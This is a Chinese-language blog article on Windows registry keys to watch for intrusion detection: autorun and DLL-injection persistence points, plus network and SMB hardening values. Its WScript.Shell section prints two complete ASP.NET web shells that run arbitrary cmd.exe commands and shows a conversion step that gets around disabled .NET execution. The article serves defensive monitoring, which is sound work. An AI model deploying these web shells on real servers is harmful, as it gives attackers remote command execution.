入侵檢測中需要監控的登錄檔路徑研究(Windows Registry Security Check)

Andrew.Hann發表於2015-09-10

1. Windows登錄檔簡介

登錄檔(Registry,繁體中文版Windows稱之為登入檔)是Microsoft Windows中的一個重要的資料庫,用於儲存系統和應用程式的設定資訊。早在Windows 3.0推出OLE技術的時候,登錄檔就已經出現。隨後推出的Windows NT是第一個從系統級別廣泛使用登錄檔的作業系統。但是,從Microsoft Windows 95開始,登錄檔才真正成為Windows使用者經常接觸的內容,並在其後的作業系統中繼續沿用至今

0x1: 登錄檔的由來

在Windows 3.x作業系統中,登錄檔是一個極小檔案,其檔名為Reg.dat,裡面只存放了某些檔案型別的應用程式關聯,大部分的設定放在Win.ini、System.ini等多個初始化INI檔案中。由於這些初始化檔案不便於管理和維護,時常出現一些因INI檔案遭到破壞而導致系統無法啟動的問題。為了使系統執行得更為穩定、健壯,Windows 95/98設計師們借用了Windows NT中的登錄檔的思想,將登錄檔引入到Windows 95/98作業系統中,而且將INI檔案中的大部分設定也移植到登錄檔中,因此,登錄檔在Windows 95/98作業系統的啟動、執行過程中起著重要的作用

0x2: 登錄檔的作用

登錄檔是windows作業系統中的一個核心資料庫,其中存放著各種引數,直接控制著windows的啟動、硬體驅動程式的裝載以及一些windows應用程式的執行,從而在整個系統中起著核心作用。這些包括了

1. 軟、硬體的相關配置和狀態資訊
2. 應用程式和資源管理器外殼的初始條件、首選項和解除安裝資料
3. 聯網計算機的整個系統的設定和各種許可
4. 副檔名與應用程式的關聯
5. 硬體部件的描述、狀態和屬性
6. 效能記錄
7. 其他底層的系統狀態資訊
8. 其他資料等 

具體來說,在啟動Windows時,Registry會對照已有硬體配置資料,檢測新的硬體資訊

1. 系統核心從Resistry中選取資訊,包括要裝入什麼裝置驅動程式,以及依什麼次序裝入,核心傳送回它自身的資訊,例如版權號等
2. 同時裝置驅動程式也向Registry傳送資料,並從Registry接收裝入和配置引數
3. 裝置驅動程式會告訴Resistry它在使用什麼系統資源,例如硬體中斷或DMA通道等
4. 裝置驅動程式還要報告所發現的配置資料
5. 為應用程式或硬體的執行提供增加新的配置資料的服務
6. 配合INI檔案相容16位Windows應用程式,當安裝—個基於Windows 3.x的應用程式時,應用程式的安裝程式Setup像在windows中—樣建立它自己的INI檔案或在Win.ini和System.ini檔案中建立入口
7. 同時windows還提供了大量其他介面,允許使用者修改系統配置資料,例如控制皮膚、設定程式等 

如果登錄檔受到了破壞,輕則使windows的啟動過程出現異常,重則可能會導致整個windows系統的完全癱瘓。因此正確地認識、使用,特別是及時備份以及有問題恢復登錄檔對windows使用者來說就顯得非常重要

0x3: 登錄檔的資料結構

登錄檔由鍵(或稱"項")、子鍵(子項)和值項構成。一個鍵就是分支中的一個資料夾,而子鍵就是這個資料夾中的子資料夾,子鍵同樣是一個鍵。一個值項則是一個鍵的當前定義,由以下幾個部分組成

1. 名稱
2. 資料型別
3. 分配的值

一個鍵可以有一個或多個值,每個值的名稱各不相同,如果一個值的名稱為空,則該值為該鍵的預設值
在登錄檔編輯器(Regedit.exe)中,資料結構顯示如下,其中,command鍵是open鍵的子鍵,(預設)表示該值是預設值,值名稱為空,其資料型別為REG_SZ,資料值為:

%systemroot%/system32/NOTEPAD.EXE "%1 

登錄檔的資料型別主要有以下四種 

1. REG_SZ: 字串: 文字字串 
2. REG_MULTI_SZ: 多字串: 含有多個文字值的字串 
3. REG_BINARY: 二進位制數: 二進位制值,以十六進位制顯示  
4. REG_DWORD: 雙字: 一個32位的二進位制值,顯示為8位的十六進位制值 

Relevant Link:

http://baike.baidu.com/view/979.htm

 

2. Windows自啟動項相關注冊表監控項

0x1:自啟動檔案目錄 

入侵伺服器後,通過部署自啟動項是黑客常用的劉後門手段,總體來說,Windows上部署自啟動後門的方式有如下

1. 當前使用者專有的啟動資料夾 
這是許多應用軟體自動啟動的常用位置,Windows自動啟動放入該資料夾的所有快捷方式。使用者啟動資料夾一般在: \Documents and Settings\<使用者名稱字>\「開始」選單\程式\啟動,其中"<使用者名稱字>"是當前登入的使用者帳戶名稱  
   
2. 對所有使用者有效的啟動資料夾 
這是尋找自動啟動程式的第二個重要位置,不管使用者用什麼身份登入系統,放入該資料夾的快捷方式總是自動啟動——這是它與使用者專有的啟動資料夾的區別所在。該資料夾一般在: \Documents and Settings\All Users\「開始」選單\程式\啟動 
   
3. C:\Windows\win.ini
檢查"run=""load="等選項後面是否包含一些來歷不明的內容,正常情況下這個資料夾裡不應該有load、run項

0x2:系統提供的自啟動登錄檔配置項 

1. Load註冊鍵: 它也能夠自動啟動程式
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load  
   
2. Userinit註冊鍵: 這裡也能夠使系統啟動時自動初始化程式。通常該註冊鍵下面有一個userinit.exe,如圖一,但這個鍵允許指定用逗號分隔的多個程式,例如"userinit.exe,OSA.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit

3. Explorer\Run註冊鍵: 和load、Userinit不同,Explorer\Run鍵在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run  
   
4. RunServicesOnce註冊鍵: RunServicesOnce註冊鍵用來啟動服務程式,啟動時間在使用者登入之前,而且先於其他通過註冊鍵啟動的程式。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce  
   
5. RunServices註冊鍵: RunServices註冊鍵指定的程式緊接RunServicesOnce指定的程式之後執行,但兩者都在使用者登入之前
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices  
   
6. RunOnce\Setup註冊鍵: RunOnce\Setup指定了使用者登入之後執行的程式 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup 
   
7. RunOnce註冊鍵: 安裝程式通常用RunOnce鍵自動執行程式 
# HKEY_LOCAL_MACHINE下面的RunOnce鍵會在使用者登入之後立即執行程式,執行時機在其他Run鍵指定的程式之前
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# HKEY_CURRENT_USER下面的RunOnce鍵在作業系統處理其他Run鍵以及"啟動"資料夾的內容之後執行
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
# 如果是XP,還需要檢查一下
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
   
8. Run註冊鍵: Run是自動執行程式最常用的註冊鍵 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# HKEY_CURRENT_USER下面的Run鍵緊接HKEY_LOCAL_MACHINE下面的Run鍵執行,但兩者都在處理"啟動"資料夾之前 

9. Windows Shell Context Menu option
HKLM\Software\Classes\*\shell\yourappname
HKLM\Software\Classes\*\shell\yourappname\command
HKLM\Software\Classes\Folder\shell\yourappname
HKLM\Software\Classes\Folder\shell\yourappname\command
HKLM\Software\Classes\Directory\shell\yourappname
HKLM\Software\Classes\Directory\shell\yourappname\command
HKLM\Software\Classes\Drive\shell\yourappname
HKLM\Software\Classes\Drive\shell\yourappname\command

10. EnableLUA
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\

11. Logon or Logoff scripts
HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logon
HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff
HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Logon
HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Logoff
HKLM\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup            
HKLM\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown

12. command processor’s AutoRun setting
\HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\
\HKEY_USERS\*\Software\Microsoft\Command Processor\*

13. AutoStart Explorer Keys (自動啟動資源管理器項 
\HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WOW\Control\Session Manager\Environment\
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\​​CurrentVersion\​Policies\​Explorer\​Run\
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\​​CurrentVersion\​ShellServiceObjectDelayLoad

14. AutoStart System Injection Keys (自動啟動系統注入項) 
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs\*
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\​Winsock2\​Parameters\​Protocol_Catalog9\​Catalog_Entries\*
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\​CurrentVersion\Winlogon\GPExtensions\*
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\​CurrentVersion\Winlogon\Notify\*
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\​​CurrentVersion\​Explorer\Browser Helper Objects\*
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\​​CurrentVersion\​Explorer\​ShellExecuteHooks\*

Relevant Link:

https://help.symantec.com/cs/SESCSP_HELP/SESCSP/v99799033_v121007334/%E7%B3%BB%E7%BB%9F%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9B%91%E8%A7%86--%E8%87%AA%E5%8A%A8%E5%90%AF%E5%8A%A8%E9%A1%B9%7CSymantec%E2%84%A2-Critical-System-Protection?locale=ZH_CN

0x3:系統提供的dll載入登錄檔配置 

除了上述直接指定命令列的自啟動項,我們再來看一些可以指定dll路徑並由系統執行的自啟動項,這允許黑客將後門惡意邏輯封裝在一個dll中,並在系統啟動時隨之執行

1. AppInit_DLL

惡意程式碼編寫者可以通過一個名為Appinit_DLL的特殊登錄檔項來讓它們的dll獲得載入。AppInit_DLL中的DLL程式會在程式載入User32.dll時被載入。插入DLL路徑到登錄檔AppInit_DLL,會讓DLL程式獲得載入的機會

# 由空格分隔的字串dll路徑
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

# 為1表示開啟appinit_dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs

很多程式都會載入User32.dll,這些程式也會載入AppInit_DLL。惡意程式碼編寫者通常需要在攻擊payload里加上判斷當前程式的邏輯,只對指定目標發起攻擊,本質上說,這和linux ld_preload是類似的。User32.dll被載入到程式時,會獲取AppInit_DLLs登錄檔項,若有值,則呼叫LoadLibrary() API載入使用者DLL

登錄檔項修改完畢後,重啟系統,使修改生效

執行cmd.exe時因為載入了user32.dll,所以也同時載入了我們插入的dll

2. Winlogon Notify

惡意程式碼編寫者可以掛鉤一個特殊的Winlogon事件,如Lock,Logoff,Logon,Shutdown,StartScreenSaver,StartShell,Startup,StopScreenSaver,Unlock等。這甚至可以允許惡意程式碼在安全模式下載入

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\*

當WinLogon.exe產生一個事件通知的時候,Windows會檢查登錄檔裡面指定的DLL並呼叫DLL指定的匯出函式

Relevant Link:

http://blog.csdn.net/swanabin/article/details/50925645
http://blog.csdn.net/u013565525/article/details/28416279

 

3. 惡意篡改病毒相關注冊表監控項

0x1: IE起始頁的修改

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main //右半部分視窗中的Start Page就是IE主頁地址了

0x2: 磁碟驅動器被隱藏

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer //"NoDrives"鍵值被改為1了,改為0就可恢復正常顯示

Relevant Link:

http://bbs.csdn.net/topics/487355/
http://blog.sina.com.cn/s/blog_4c9df5350100082h.html
http://baike.baidu.com/view/979.htm
http://www.jb51.net/os/19806.html

 

4. 網路安全配置相關注冊表監控項

0x1:非常用埠開放檢測

1. 135埠

135埠主要用於使用RPC(Remote Procedure Call,遠端過程呼叫)協議並提供DCOM(分散式元件物件模型)服務,通過RPC可以保證在一臺計算機上執行的程式可以順利地執行遠端計算機上的程式碼,使用DCOM可以通過網路直接進行通訊,能夠跨包括HTTP協議在內的多種網路傳輸
"衝擊波"病毒,該病毒就是利用RPC漏洞來攻擊計算機的。RPC本身在處理通過TCP/IP的訊息交換部分有一個漏洞,該漏洞是由於錯誤地處理格式不正確的訊息造成的。該漏洞會影響到RPC與DCOM之間的一個介面,該介面偵聽的埠就是135,為了避免"衝擊波"病毒以及其他RPC漏洞的攻擊,建議關閉該埠

1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\EnableDCOM: 值改為"N" 
2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\DCOM Protocols: 鍵值中刪除"ncacn_ip_tcp"

此外,還需要確認停用"Distributed Transaction Coordinator"服務,需要重啟所做的更改才會生效

2. 445埠

445埠是一個譭譽參半的埠,他和139埠一起是IPC$入侵的主要通道。有了它我們可以在區域網中輕鬆訪問各種共享資料夾或共享印表機,但也正是因為有了它,黑客們才有了可乘之機,攻擊者能通過該埠共享受害者的硬碟,甚至會在悄無聲息中將硬碟格式化掉

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled(DWORD值): 並設定數值為0

Relevant Link:

https://social.technet.microsoft.com/Forums/en-US/5951b3fc-1fef-497e-9d16-2e297b2a9395/rpc135?forum=window7betacn
http://bingdian.blog.51cto.com/94171/20846 
http://baike.baidu.com/view/1670802.htm 

0x2:IPC空連線

禁用IPC$空連線,可以防止遠端使用者的匿名訪問

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RestrictAnonymous
//有關RestrictAnonymous的值的三種情況解釋
1. 1: 不允許列舉SAM帳戶和名稱(安全)
2. 2: 沒有顯式匿名許可權就無法訪問,當基於 Windows 2000/2003/2008的域控制器上的RestrictAnonymous登錄檔值被設定為2時,下列任務受到限制
    1) 下級成員工作站或伺服器無法建立netlogon安全通道
    2) 信任域中的下級域控制器無法建立netlogon安全通道
    3) Microsoft Windows NT使用者在密碼過期後無法更改密碼 
    4) 瀏覽器服務無法從在RestrictAnonymous登錄檔值設定為2的計算機上執行的備份瀏覽器、主瀏覽器或域主瀏覽器中檢索域列表或伺服器列表。因此,所有依賴瀏覽器服務的程式都無法正常工作。
//由於上述結果,建議您不要在包括下級客戶端的混合模式環境中將 RestrictAnonymous 登錄檔值設定為 2。只有在 Windows 2000/2003/2008 環境下,並且只有當進行了充分的質量保證測試以證實適當的服務級別和程式功能繼續保持之後,才應考慮將 RestrictAnonymous 登錄檔值設定為2 

Relevant Link:

http://www.zgxue.com/40/405073.html
http://cs.ecust.edu.cn/snwei/studypc/oftencommand/ipc$.htm

0x3:Backlog AFD.SYS Protections

NetBT(基於TCP/IP的NetBIOS)使用139號TCP埠,一般用在微軟網路中,例如檔案和列印服務

1.HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBt\Parameters\BacklogIncrement
//在建立連線時,如果BetBT發現可用的連線塊數目小於2個,會自動的再分配可用連線塊,NetBT每次增加的連線塊的數目定義在登錄檔中的雙位元組值項BacklogIncrement中,該值項位於登錄檔項登錄檔項,NetBT最多可以使用的連線塊的數目定義在登錄檔項中雙位元組值項MaxConnBackLog中,預設為1000個,最大值可以取到40000個。可以適當的增大此引數的值以允許更多的同時連線 
    1) 3: 預設值為3
    2) 最小值為1
    3) 最大值位20。增大此值可以在有眾多連線時提升效能。每個連線塊消耗87個位元組 
 //對於使用Sockets的Windows服務,如FTP,可以通過配置動態Backlog來提升在網路繁忙時的效能。使用動態Bakclog,系統會預先分配一定的資源用於建立連線,這樣就省去了給連線分配資源的時間和CPU消耗。如果需要再增加資源,可以一次性的增加若干個連線所需的資源空間

2. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\EnableDynamicBacklog 
    1) 該值項的預設值為0,表示禁止動態Backlog
    2) 對於網路繁忙或者易遭受SYN攻擊的系統,建議設定為1,表示允許動態Backlog 

3. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MinimumDynamicBacklog
    1) 該值項的預設值為0,表示動態Backlog分配的自由連線的最小數目。當自由連線數目低於此數目時,將自動的分配自由連線。預設值為0
    2) 對於網路繁忙或者易遭受SYN攻擊的系統,建議設定為20 

4. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MaximumDynamicBacklog
    1) 該值項的預設值為0,表示定義最大""連線的數目。""連線包括自由連線和半連線
    2) Recommended value data: 20000,對於網路繁忙或者易遭受SYN攻擊的系統,應該設定此值,大小取決於記憶體的多少。一般來說,每32M記憶體最大可以增加5000個 

5. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\DynamicBacklogGrowthDelta
    1) 該值項的預設值為5,表示定義每次增加的自由連線數目
    2) 對於網路繁忙或者易遭受SYN攻擊的系統,建議設定為10 

0x4:防止主機成為反射攻擊的肉雞源的相關配置

1. Protect Against SYN Attacks

Windows針對SYN淹沒攻擊提供了一個叫做SYN淹沒攻擊保護的特性。當出現了SYN淹沒攻擊的徵兆時,Windows自動降低對那些無法確認的連線請求的響應時間

1. Enable SYN attack protection
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\SynAttackProtect(DWORD值)
    1) 0: 該值項的預設值為0,表示不允許SYN淹沒攻擊保護特性
    2) 1: 表示允許啟用SYN淹沒攻擊保護特性
    3) 2: 推薦該數值,表示完全開啟SYN淹沒攻擊

2. Set SYN protection thresholds
2.1 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxPortsExhausted: Determines how many connection requests the system can refuse before TCP/IP initiates SYN flooding attack protection
    1) Recommended value: 5
2.2 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpen: Determines how many connections the server can maintain in the half-open (SYN-RCVD) state before TCP/IP initiates SYN flooding attack protection
    1) Recommended value data: 500
2.3 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpenRetried: Determines how many connections the server can maintain in the half-open (SYN-RCVD) state even after a connection request has been retransmitted
    1) Recommended value data: 400

3. Set Additional Protections
3.1 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxConnectResponseRetransmissions: Determines how many times TCP retransmits an unanswered SYN-ACK (connection request acknowledgment). 
    1) 3: 該值項的預設值為3,表示定義了對於連線請求迴應包的重發次數
    2) 1: 如果該值為1,則SYN淹沒攻擊不會有效果,但是這樣會造成連線請求失敗機率的升高
    3) 2: Recommended value data: 2
3.2 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxDataRetransmissions: Determines how many times TCP retransmits an unacknowledged data segment on an existing connection
    1) Recommended value data: 2
3.3 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\EnablePMTUDiscovery: Determines whether TCP uses a fixed, default maximum transmission unit (MTU) or attempts to detect the actual MTU(防禦TCP碎片攻擊)
    1) Recommended value data: 0
3.4 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\KeepAliveTime: Determines how often TCP sends keep-alive transmissions.
    1) Recommended value data: 300000

2. Set NetBIOS Protections

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters\NoNameReleaseOnDemand
1. Recommended value data: 1
//Specifies to not release the NetBIOS name of a computer when it receives a name-release request.

3. Protect Against ICMP Attacks

HKLM\System\CurrentControlSet\Services\TcpIp\Parameters\EnableICMPRedirect
1. Recommended value data: 0
2. 1 (enabled)
//Modifying this registry value to 0 prevents the creation of expensive host routes when an ICMP redirect packet is received.

4. Protect Against SNMP Attacks

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableDeadGWDetect 1. Recommended value data: 0 2. 1 (enabled) //Prevents an attacker from forcing the switching to a secondary gateway

5. Additional Protections

1. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting: Disables IP source routing, which allows a sender to determine the route a datagram should take through the network(Protect Screened Network Details)
    1) Recommended value data: 1
    2) 0 (forward all packets)
    3) 2 (drop all incoming source routed packets)

2. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableMulticastForwarding: The routing service uses this parameter to control whether or not IP multicasts are forwarded. This parameter is created by the Routing and Remote Access Service.(Do Not Forward Packets Destined for Multiple Hosts)
    1) Recommended value data: 0
    2) 1 (true)

3. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter: Setting this parameter to 1 (true) causes the system to route IP packets between the networks to which it is connected.(Only Firewalls Forward Packets Between Networks)
    1) Recommended value data: 0
    2) 1 (true)

4. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableAddrMaskReply: This parameter controls whether the computer responds to an ICMP address mask request.(Mask Network Topology Details)
    1) Recommended value data: 0
    2) 1 (true

0x5:遠端操作登錄檔 

某些服務必須能夠訪問登錄檔才能正常發揮作用。例如,在一個執行目錄複製的系統上,“複製器”帳戶必須能夠訪問相關的登錄檔項。登錄檔編輯器支援對 Windows 登錄檔的遠端訪問;但是,我們也可以限制這種訪問

1. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg\Description: Registry Server 

Relevant Link:

https://msdn.microsoft.com/en-us/library/ff648853.aspx
https://technet.microsoft.com/en-us/library/cc957549.aspx
http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=2360&ArticlePage=3

0x6:刪除預設共享(IPC$、ADMIN$、C$、D$、e$、f$、g$)

0x7:禁用IPC$建立空連線

在Windows 2000/XP/2003系統中,邏輯分割槽與Windows目錄預設為共享,這是為管理員管理伺服器的方便而設,但卻成為了安全漏洞
利用IPC$,連線者可以與目標主機建立一個空的連線,即無需使用者名稱和密碼就能連線主機,當然這樣連線是沒有任何操作許可權的。但利用這個空的連線,連線者可以得到目標主機上的使用者列表。
利用獲得的使用者列表,就可以猜密碼,或者窮舉密碼,從而獲得更高,甚至管理員許可權

1. IPC$(Internet Process Connection)
是共享"命名管道"的資源,它是為了讓程式間通訊而開放的命名管道,可以通過驗證使用者名稱和密碼獲得相應的許可權,在遠端管理計算機和檢視計算機的共享資源時使用
只要通過IPC$,獲得足夠的許可權(即猜解到帳號、密碼),就可以在主機上執行程式、建立使用者、把主機上C、D、E等邏輯分割槽共享給入侵者,主機上的所有資料

要防止別人用ipc$和預設共享入侵,需要禁止ipc$空連線,避免入侵者取得使用者列表,並取消預設共享

1. 禁止ipc$空連線進行列舉
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous = DWORD的鍵值改為:00000001
    1) 0x0(預設)
    2) 0x1: 匿名使用者無法列舉本機使用者列表
    3) 0x2: 匿名使用者無法連線本機IPC$共享
//不建議使用2,否則可能會造成一些服務無法啟動,如SQL Server

2. 關閉139與445埠
ipc$連線是需要139或445埠來支援的,139埠的開啟表示netbios協議的應用,通過139、445(win2000)埠實現對共享檔案/印表機的訪問,因此關閉139與445埠可以禁止ipc$連線 
    1) 關閉139埠可以通過禁用 netbios 協議來實現: 控制皮膚->網路和撥號連線->本地連線,點屬性按鈕進入"本地連線 屬性"頁面,選擇"Internet 協議 (TCP/IP)",然後點屬性按鈕,在彈出視窗點高階按鈕,然後選擇WINS標籤,點"禁用 TCP/IP 上的 NetBios",最後確定退出 
    2) 445埠關閉方法: 執行regedit,找到項[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters],建立名稱為SMBDeviceEnabled,DWORD型別的鍵,值為00000000

0x8:禁止系統自動啟動伺服器共享(禁用IPC連線)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\AutoShareServer
Type:DWORD
Value: 0(關閉)

Relevant Link:

http://blog.vpsks.com/140.html
http://www.splaybow.com/post/windows-445port.html
http://baike.baidu.com/view/1296452.htm

 

5. windows元件安全配置相關注冊表監控項

windows、.NET、危險指令是部署WEBSHELL之後,進行橫向滲透提權的常用手段

0x1:W.Shell/WScript.Shell元件(wshom.ocx Windows Script Host Runtime Library)

wshom.ocx是Windows本地指令碼物件執行時相關檔案,用來提供WshShell物件和WshNetwork物件介面的訪問

The WshShell object is a COM object

Category

Method or Property

Running Programs

Run, Exec

Working with Special Folders

SpecialFolders

Working with Shortcuts

CreateShortcut

Working with Environment Variables

Environment, ExpandEnvironmentStrings

Working with the Event Log

LogEvent

Working with the Registry

RegRead, RegWrite, RegDelete

Sending Keystrokes to an Application

AppActivate, SendKeys

Obtaining a Scripts Current Directory

CurrentDirectory

Creating Timed Dialog Boxes

Popup

 
/*
test.vbs
*/
//WshShell refers to the Shell object exposed via the Automation interface of WScript. Therefore, you must use CreateObject to return this object 
Set WshShell = Wscript.CreateObject("Wscript.Shell")
Set oShellLink = WshShell.CreateShortcut("Current Script.lnk")
oShellLink.TargetPath = Wscript.ScriptFullName
oShellLink.Save

Set oUrlLink = WshShell.CreateShortcut("Microsoft Web Site.URL")
oUrlLink.TargetPath = "http://www.baidu.com"
oUrlLink.Save

W.Shell元件常常被黑客用來執行vbs指令碼,黑客通過WEBSEHLL或者其他上傳漏洞上傳vbs提權指令碼並執行,除此之外,黑客上傳ASP、ASP.NET WEBSHELL(其中包含了W.Shell的呼叫)
ASP.NET有自身的執行CMD指令的方式,但是如果目標機器禁用了.NET的指令執行,這個時候就可以使用WScript.Shell,因為只要是ASP中能用的元件,都可以直接向下相容地用於ASP.NET中
ASP.NET提供了2種方式讓我們使用COM元件

1. Server物件的CreatObject方法

<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %> 
<script runat="server"> 
    sub runcmd(Src As Object, E As EventArgs) 
        Dim StrResult As String 
        Dim CMDShell As Object 
        CMDShell = Server.CreateObject("WScript.Shell") 
        StrResult = CMDShell.exec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall 
        StrResult = Replace(StrResult , "<","&lt;") 
        StrResult = Replace(StrResult , ">","&gt;") 
        ResultLabel.Text = "<pre>" & StrResult & "</pre>" 
    end sub 
</script> 

<html> 
    <head><title>WSH.SHell For ASP.NET</title></head> 
    <body>  
    <form runat="server">  
        "cmd.exe" path:&nbsp;<asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />  
        <br>  
        Your Command:&nbsp;&nbsp;<asp:TextBox ID="CMDBox" Width="200" runat="server" />  
        <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />  
        <br>  
        <asp:Label ID="ResultLabel" runat="server" />  
    </form>  
    <div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------</div>  
    <hr width="50%">  
    </body>  
</html> 

2. 將COM元件轉化為.NET元件 

微軟提供了型別庫匯入器(Type Library Importer),經過它的轉換,我們就可以使用COM元件了,轉化之後,會產生一個dll檔案,需要放到web木龍骨的bin目錄下才可以被使用,這個dll不需要註冊就可以直接使用(這也是ASP.NET和ASP的區別之一)
1) Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
2) 然後把WSHomx.dll放到web目錄的bin下面

<%@ Page Language="VB" validateRequest="false"%> 
<script runat="server"> 
    sub runcmd(Src As Object, E As EventArgs) 
        Dim StrResult As String 
        Dim CMDShell As New WSHomx.WshShell 
        CMDShell = Server.CreateObject("WScript.Shell") 
        StrResult = CMDShell.exec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall 
        StrResult = Replace(StrResult , "<","&lt;") 
        StrResult = Replace(StrResult , ">","&gt;") 
        ResultLabel.Text = "<pre>" & StrResult & "</pre>" 
    end sub 
</script> 

<html> 
    <head><title>WSH.SHell For ASP.NET</title></head> 
    <body>  
    <form runat="server">  
        "cmd.exe" path:&nbsp;<asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />  
        <br>  
        Your Command:&nbsp;&nbsp;<asp:TextBox ID="CMDBox" Width="200" runat="server" />  
        <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />  
        <br>  
        <asp:Label ID="ResultLabel" runat="server" />  
    </form>  
    <div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------</div>  
    <hr width="50%">  
    </body>  
</html> 

W.Shell/WScript.Shell元件所在登錄檔的位置為

1. HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}: 刪除
2. HKEY_CLASSES_ROOT\WScript.Shell: 改名為 HKEY_CLASSES_ROOT\WScript.Shell_bak
3. HKEY_CLASSES_ROOT\WScript.Shell.1: 改名為 HKEY_CLASSES_ROOT\WScript.Shell.1_bak
4. HKEY_CLASSES_ROOT\WScript.Shell\CLSID\專案的值: 專案的值改為其他值(刪除效果也是一樣的)
5. HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\專案的值: 專案的值改為其他值(刪除效果也是一樣的)

/*
